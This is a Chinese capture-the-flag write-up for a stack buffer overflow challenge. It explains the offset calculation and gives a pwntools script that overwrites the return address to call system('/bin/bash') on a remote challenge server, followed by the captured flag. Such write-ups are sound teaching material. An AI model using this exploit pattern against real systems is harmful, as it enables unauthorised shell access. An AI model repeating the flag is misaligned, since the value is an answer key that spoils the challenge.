首先下下来的文件查壳以及查保护机制
接着,进入IDA,F5分析
点进vulnerable_function看一下
看到这里可以知道buf是程序输入的字符串,长度为0x88,read最多可以读入0x100个字符。点进buf看下
也就是r是返回地址,也是需要覆盖的,s保存的即是main函数的ebp,所以我们需要构造的payload包括长度0x88 + 4的任意数据
以及我们想要执行的函数的地址。可以跟level0不一样的是,这道题并没有明确给我们提供一个这样的函数。所以我们得自己构造了,按shift+F12查看下字符串
看到了下面的/bin/bash,而程序里又有system函数,所以这里我们得构造一个system("/bin/bash"),对应的汇编指令为
push offset db'/bin/bash'
call _system
也就是我们覆盖的返回地址为call _system指令的地址(注意是call _system指令的地址,不是system函数的入口地址)。整个程序有2个地方出现了call _system,一个在main函数里
另一个在vulnerable_function里
也就是覆盖的返回地址用0804845C和0804849E都可以,那最后就是让/bin/bash的地址入栈,因为push指令在call指令执行之前,所以/bin/bash的地址跟在返回地址之后就行,整个payload的结构也就是:0x88 +4的任意数据 + call system的地址 + /bin/bash的地址
代码为:
from pwn import *
if __name__ == '__main__':
con = remote('220.249.52.133',36309)
payload = b'A' * (0x88 + 4)
payload += b'\x9E\x84\x04\x08' # call system地址
payload += b'\x24\xA0\x04\x08' # /bin/bash地址
con.send(payload)
con.interactive()
这里注意x86平台为小端序。
执行程序即可拿到shell,输入cat flag
cyberpeace{28feeb6a836ee8cf5867b36b8010b52e}